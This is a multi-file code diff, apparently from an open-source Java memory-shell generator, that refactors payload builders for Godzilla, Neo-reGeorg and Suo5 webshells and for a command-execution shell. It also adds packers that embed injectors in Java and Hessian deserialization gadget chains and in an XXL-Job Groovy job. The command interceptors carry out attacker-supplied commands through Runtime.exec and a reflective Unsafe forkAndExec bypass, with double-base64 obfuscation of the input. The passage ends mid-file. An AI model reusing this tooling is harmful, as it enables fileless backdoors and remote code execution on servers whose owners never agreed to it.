import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import com.reajason.javaweb.memshell.utils.DigestUtils;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.lang3.StringUtils;
import java.util.HashMap;
import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -21,62 +12,20 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
* @author ReaJason
* @since 2024/11/23
*/
public class GodzillaGenerator {
private final ShellConfig shellConfig;
private final GodzillaConfig godzillaConfig;
public class GodzillaGenerator extends ByteBuddyShellGenerator<GodzillaConfig> {
public GodzillaGenerator(ShellConfig shellConfig, GodzillaConfig godzillaConfig) {
this.shellConfig = shellConfig;
this.godzillaConfig = godzillaConfig;
super(shellConfig, godzillaConfig);
}
public DynamicType.Builder<?> getBuilder() {
if (godzillaConfig.getShellClass() == null) {
throw new IllegalArgumentException("godzillaConfig.getClazz() == null");
}
if (StringUtils.isBlank(godzillaConfig.getKey()) || StringUtils.isBlank(godzillaConfig.getPass())) {
throw new IllegalArgumentException("godzillaConfig.getKey().isBlank() || godzillaConfig.getPass().isBlank()");
}
String md5Key = DigestUtils.md5Hex(godzillaConfig.getKey()).substring(0, 16);
String md5 = DigestUtils.md5Hex(godzillaConfig.getPass() + md5Key).toUpperCase();
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(godzillaConfig.getShellClass())
.name(godzillaConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
put("pass", godzillaConfig.getPass());
put("key", md5Key);
put("md5", md5);
put("headerName", godzillaConfig.getHeaderName());
put("headerValue", godzillaConfig.getHeaderValue());
}})
);
} else {
builder = builder.field(named("pass")).value(godzillaConfig.getPass())
.field(named("key")).value(md5Key)
.field(named("md5")).value(md5)
.field(named("headerName")).value(godzillaConfig.getHeaderName())
.field(named("headerValue")).value(godzillaConfig.getHeaderValue());
}
return builder;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
@Override
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
String md5Key = DigestUtils.md5Hex(shellToolConfig.getKey()).substring(0, 16);
String md5 = DigestUtils.md5Hex(shellToolConfig.getPass() + md5Key).toUpperCase();
return builder.field(named("pass")).value(shellToolConfig.getPass())
.field(named("key")).value(md5Key)
.field(named("md5")).value(md5)
.field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
}
}
@@ -14,12 +14,13 @@ import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.dynamic.scaffold.TypeValidation;
import net.bytebuddy.implementation.FixedValue;
import net.bytebuddy.pool.TypePool;
import org.apache.commons.codec.binary.Base64;
import java.util.*;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2024/11/24
@@ -35,7 +36,7 @@ public class InjectorGenerator {
@SneakyThrows
public DynamicType.Builder<?> getBuilder() {
String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(injectorConfig.getShellClassBytes()));
String base64String = Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(injectorConfig.getShellClassBytes()));
String originalClassName = injectorConfig.getInjectorClass().getName();
String newClassName = injectorConfig.getInjectorClassName();
@@ -1,17 +1,19 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
import net.bytebuddy.implementation.FixedValue;
import java.util.Collections;
import static net.bytebuddy.matcher.ElementMatchers.named;
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
/**
* @author ReaJason
@@ -19,18 +21,29 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
*/
public class ListenerGenerator {
public static Class<?> generateListenerShellClass(Class<?> implInterceptor, Class<?> targetClass) {
String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
try (DynamicType.Unloaded<?> unloaded = new ByteBuddy()
.redefine(targetClass)
.name(newClassName)
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor, Class<?> targetClass, String newClassName) {
builder = builder.visit(new AsmVisitorWrapper.ForDeclaredMethods()
.method(named("getResponseFromRequest"),
new MethodCallReplaceVisitorWrapper(newClassName, Collections.singleton(ShellCommonUtil.class.getName()))))
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")))
.make()) {
return unloaded.load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT).getLoaded();
new MethodCallReplaceVisitorWrapper(
newClassName,
Collections.singleton(ShellCommonUtil.class.getName()))
)
)
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
boolean methodNotFound = TypeDescription.ForLoadedType.of(targetClass)
.getDeclaredMethods()
.filter(named("getFieldValue")
.and(takesArguments(Object.class, String.class)))
.isEmpty();
if (methodNotFound) {
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(Object.class, String.class)
.throwing(Exception.class)
.intercept(FixedValue.nullValue())
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
}
return builder;
}
}
@@ -1,66 +1,23 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.NeoreGeorgConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import java.util.HashMap;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2025/2/12
*/
public class NeoreGeorgGenerator {
private final ShellConfig shellConfig;
private final NeoreGeorgConfig neoreGeorgConfig;
public class NeoreGeorgGenerator extends ByteBuddyShellGenerator<NeoreGeorgConfig> {
public NeoreGeorgGenerator(ShellConfig shellConfig, NeoreGeorgConfig neoreGeorgConfig) {
this.shellConfig = shellConfig;
this.neoreGeorgConfig = neoreGeorgConfig;
super(shellConfig, neoreGeorgConfig);
}
public DynamicType.Builder<?> getBuilder() {
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(neoreGeorgConfig.getShellClass())
.name(neoreGeorgConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
put("headerName", neoreGeorgConfig.getHeaderName());
put("headerValue", neoreGeorgConfig.getHeaderValue());
}})
);
} else {
builder = builder
.field(named("headerName")).value(neoreGeorgConfig.getHeaderName())
.field(named("headerValue")).value(neoreGeorgConfig.getHeaderValue());
}
return builder;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
@Override
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
return builder.field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
}
}
@@ -0,0 +1,10 @@
package com.reajason.javaweb.memshell.generator;
/**
* @author ReaJason
* @since 2025/5/27
*/
public interface ShellGenerator {
byte[] getBytes();
}
@@ -1,66 +1,25 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.Suo5Config;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import java.util.HashMap;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2025/2/12
*/
public class Suo5Generator {
private final ShellConfig shellConfig;
private final Suo5Config suo5Config;
public class Suo5Generator extends ByteBuddyShellGenerator<Suo5Config> {
public Suo5Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
this.shellConfig = shellConfig;
this.suo5Config = suo5Config;
super(shellConfig, suo5Config);
}
public DynamicType.Builder<?> getBuilder() {
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(suo5Config.getShellClass())
.name(suo5Config.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
put("headerName", suo5Config.getHeaderName());
put("headerValue", suo5Config.getHeaderValue());
}})
);
} else {
builder = builder
.field(named("headerName")).value(suo5Config.getHeaderName())
.field(named("headerValue")).value(suo5Config.getHeaderValue());
}
return builder;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
@Override
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
return builder
.field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
}
}
@@ -1,24 +1,18 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import com.tongweb.web.thor.comet.CometEvent;
import com.tongweb.web.thor.connector.Request;
import com.tongweb.web.thor.connector.Response;
import net.bytebuddy.ByteBuddy;
import com.reajason.javaweb.memshell.server.*;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.field.FieldDescription;
import net.bytebuddy.description.field.FieldList;
import net.bytebuddy.description.method.MethodList;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
import net.bytebuddy.implementation.FixedValue;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.jar.asm.ClassVisitor;
import net.bytebuddy.jar.asm.commons.ClassRemapper;
import net.bytebuddy.jar.asm.commons.Remapper;
import net.bytebuddy.pool.TypePool;
import org.apache.commons.lang3.StringUtils;
import org.jetbrains.annotations.NotNull;
/**
@@ -31,6 +25,24 @@ public class ValveGenerator {
public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier";
public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor";
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractShell shell) {
String packageName = null;
if (shell instanceof TongWeb6Shell) {
packageName = TONGWEB6_VALVE_PACKAGE;
} else if (shell instanceof TongWeb7Shell) {
packageName = TONGWEB7_VALVE_PACKAGE;
} else if (shell instanceof TongWeb8Shell) {
packageName = TONGWEB8_VALVE_PACKAGE;
} else if (shell instanceof BesShell) {
packageName = BES_VALVE_PACKAGE;
}
if (StringUtils.isEmpty(packageName)) {
return builder;
}
return builder.visit(new ValveRenameVisitorWrapper(packageName));
}
public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
private final String newPackageName;
@@ -74,26 +86,4 @@ public class ValveGenerator {
});
}
}
public static Class<?> generateValveClass(String packageName, Class<?> targetClass) {
String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(targetClass)
.name(newClassName)
.visit(new ValveRenameVisitorWrapper(packageName));
if (TONGWEB6_VALVE_PACKAGE.equals(packageName)) {
builder = builder
.defineMethod("getInfo", String.class, Visibility.PUBLIC)
.intercept(FixedValue.value(""))
.defineMethod("event", void.class, Visibility.PUBLIC)
.withParameters(Request.class, Response.class, CometEvent.class)
.intercept(FixedValue.originType());
}
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
return unloaded.load(ValveGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT).getLoaded();
}
}
}
@@ -0,0 +1,69 @@
package com.reajason.javaweb.memshell.generator.command;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue;
import java.util.Collections;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2024/11/24
*/
public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
super(shellConfig, commandConfig);
}
@Override
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
builder = builder.field(named("paramName")).value(shellToolConfig.getParamName());
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) {
builder = builder
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
.method(named("getParam"),
new MethodCallReplaceVisitorWrapper(
shellToolConfig.getShellClassName(),
Collections.singleton(ShellCommonUtil.class.getName()))
)
)
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(String.class)
.throwing(Exception.class)
.intercept(FixedValue.nullValue())
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
}
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream")));
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) {
builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream")));
}
return builder;
}
}
@@ -0,0 +1,16 @@
package com.reajason.javaweb.memshell.generator.command;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
/**
* @author ReaJason
* @since 2025/4/27
*/
public class DoubleBase64ParamInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception {
returnValue = ShellCommonUtil.base64DecodeToString(ShellCommonUtil.base64DecodeToString(param));
}
}
@@ -0,0 +1,107 @@
package com.reajason.javaweb.memshell.generator.command;
import net.bytebuddy.asm.Advice;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* @author ReaJason
* @since 2025/5/25
*/
public class ForkAndExecInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
try {
String[] strs = cmd.split("\\s+");
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
Class<?> processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass);
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
byte[] bytes = strs[0].getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
try {
Field helperpathField = processClass.getDeclaredField("helperpath");
helperpathField.setAccessible(true);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
launchMechanismField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
} catch (NoSuchFieldException e) {
// JDK7
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
}
try {
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
// JDK11
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
}
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
returnValue = ((InputStream) getInputStreamMethod.invoke(processObject));
} catch (Throwable e) {
returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
}
}
}
@@ -0,0 +1,17 @@
package com.reajason.javaweb.memshell.generator.command;
import net.bytebuddy.asm.Advice;
import java.io.IOException;
import java.io.InputStream;
/**
* @author ReaJason
* @since 2025/5/25
*/
public class RuntimeExecInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
}
}
@@ -1,12 +1,15 @@
package com.reajason.javaweb.memshell.packer;
import com.alibaba.fastjson2.JSONObject;
import com.alibaba.fastjson2.JSONWriter;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.HashMap;
import java.util.Map;
import java.util.Objects;
/**
@@ -25,23 +28,26 @@ public class XxlJobPacker implements Packer {
}
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
String source = template
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str())
.replace("{{className}}", generateResult.getInjectorClassName());
JSONObject jsonObject = new JSONObject();
jsonObject.put("jobId", 1);
jsonObject.put("executorHandler", "demoJobHandler");
jsonObject.put("executorParams", "demoJobHandler");
jsonObject.put("executorBlockStrategy", "COVER_EARLY");
jsonObject.put("executorTimeout", 0);
jsonObject.put("logId", 1);
jsonObject.put("logDateTime", System.currentTimeMillis());
jsonObject.put("glueType", "GLUE_GROOVY");
jsonObject.put("glueSource", source);
jsonObject.put("glueUpdatetime", System.currentTimeMillis());
jsonObject.put("broadcastIndex", 0);
jsonObject.put("broadcastTotal", 0);
return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat);
Map<String, Object> map = new HashMap<>();
map.put("jobId", 1);
map.put("executorHandler", "demoJobHandler");
map.put("executorParams", "demoJobHandler");
map.put("executorBlockStrategy", "COVER_EARLY");
map.put("executorTimeout", 0);
map.put("logId", 1);
map.put("logDateTime", System.currentTimeMillis());
map.put("glueType", "GLUE_GROOVY");
map.put("glueSource", source);
map.put("glueUpdatetime", System.currentTimeMillis());
map.put("broadcastIndex", 0);
map.put("broadcastTotal", 0);
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enable(SerializationFeature.INDENT_OUTPUT); // 美化输出
return objectMapper.writeValueAsString(map);
}
}
@@ -2,7 +2,8 @@ package com.reajason.javaweb.memshell.packer.base64;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import org.apache.commons.codec.binary.Base64;
import java.util.Base64;
/**
* @author ReaJason
@@ -11,6 +12,6 @@ import org.apache.commons.codec.binary.Base64;
public class DefaultBase64Packer implements Packer {
@Override
public String pack(GenerateResult generateResult) {
return Base64.encodeBase64String(generateResult.getInjectorBytes());
return Base64.getEncoder().encodeToString(generateResult.getInjectorBytes());
}
}
@@ -4,7 +4,8 @@ import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
import java.util.Base64;
/**
* @author ReaJason
@@ -14,6 +15,6 @@ public class GzipBase64Packer implements Packer {
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
return Base64.encodeBase64String(CommonUtil.gzipCompress(generateResult.getInjectorBytes()));
return Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(generateResult.getInjectorBytes()));
}
}
@@ -5,7 +5,8 @@ import com.reajason.javaweb.deserialize.Hessian2DeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import org.apache.commons.codec.binary.Base64;
import java.util.Base64;
/**
* @author ReaJason
@@ -19,6 +20,6 @@ public class Hessian2XSLTScriptEnginePacker implements Packer {
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
byte[] generate = Hessian2DeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
return Base64.encodeBase64String(generate);
return Base64.getEncoder().encodeToString(generate);
}
}
@@ -5,7 +5,9 @@ import com.reajason.javaweb.deserialize.HessianDeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import org.apache.commons.codec.binary.Base64;
import java.util.Base64;
/**
* @author ReaJason
@@ -19,6 +21,6 @@ public class HessianXSLTScriptEnginePacker implements Packer {
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
byte[] generate = HessianDeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
return Base64.encodeBase64String(generate);
return Base64.getEncoder().encodeToString(generate);
}
}
@@ -6,7 +6,10 @@ import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
import java.util.Base64;
/**
* @author ReaJason
@@ -19,6 +22,6 @@ public class CommonsBeanutils110Packer implements Packer {
public String pack(GenerateResult generateResult) {
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils110);
return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
}
}
@@ -6,7 +6,10 @@ import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
import java.util.Base64;
/**
* @author ReaJason
@@ -19,6 +22,6 @@ public class CommonsBeanutils16Packer implements Packer {
public String pack(GenerateResult generateResult) {
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils16);
return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
}
}
@@ -6,7 +6,10 @@ import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
import java.util.Base64;
/**
* @author ReaJason
@@ -19,6 +22,6 @@ public class CommonsBeanutils18Packer implements Packer {
public String pack(GenerateResult generateResult) {
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils18);
return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
}
}
@@ -6,7 +6,8 @@ import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
import java.util.Base64;
/**
* @author ReaJason
@@ -19,6 +20,6 @@ public class CommonsBeanutils19Packer implements Packer {
public String pack(GenerateResult generateResult) {
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
}
}
@@ -0,0 +1,27 @@
package com.reajason.javaweb.memshell.packer.deserialize.java;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import java.util.Base64;
/**
* @author ReaJason
* @since 2025/2/17
*/
public class CommonsCollections3Packer implements Packer {
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.CommonsCollections3);
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
}
}
@@ -0,0 +1,27 @@
package com.reajason.javaweb.memshell.packer.deserialize.java;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import java.util.Base64;
/**
* @author ReaJason
* @since 2025/2/17
*/
public class CommonsCollections4Packer implements Packer {
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.CommonsCollections4);
